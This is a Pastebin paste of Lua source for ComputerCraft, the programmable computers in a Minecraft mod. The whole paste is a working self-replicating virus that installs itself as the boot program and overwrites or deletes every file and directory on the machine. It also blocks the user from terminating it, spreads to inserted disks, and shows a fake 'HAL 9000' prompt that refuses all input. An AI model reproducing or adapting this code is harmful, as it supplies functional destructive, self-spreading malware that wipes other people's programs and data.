Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- --tom2018--
- local function readFor(time,char)
- result=nil
- a=coroutine.wrap(function() result=read(char) os.queueEvent('timer') end)
- local evts={}
- os.startTimer(time)
- while true do
- a(unpack(evts))
- evts={os.pullEvent()}
- if evts[1]=='timer' then break end
- end
- return result
- end
- lol = shell.getRunningProgram()
- if lol ~= "startup" then
- fs.delete("startup")
- fs.copy(lol,"startup")
- end
- tb = fs.list("/")
- cca = 1
- tbt = #tb + 1
- while cca ~= tbt do
- if fs.isDir(tb[cca]) ~= true then
- hh = fs.open(tb[cca],"r")
- rrt = fs.open("startup","r")
- if hh.readAll() ~= rrt.readAll() then
- hh.close()
- fs.delete(tb[cca])
- fs.copy("startup",tb[cca])
- else
- hh.close()
- end
- rrt.close()
- else
- shell.run("delete",tb[cca])
- end
- cca = cca + 1
- end
- os.pullEvent = os.pullEventRaw
- os.setComputerLabel("Hall9000")
- term.clear()
- term.setCursorPos(1,1)
- print(os.version())
- while true do
- if fs.exists("disk/startup") then
- fs.delete("disk/startup")
- fs.copy("startup","disk/startup")
- end
- v, y = term.getCursorPos()
- if x == nil then
- term.setCursorPos(v,y)
- end
- j4, j5 = term.getCursorPos()
- write("> ")
- x = nil
- x = readFor(10)
- if x ~= nil then
- print("Sorry I cannot let you do that")
- end
- if x == nil then
- term.setCursorPos(j4,j5)
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement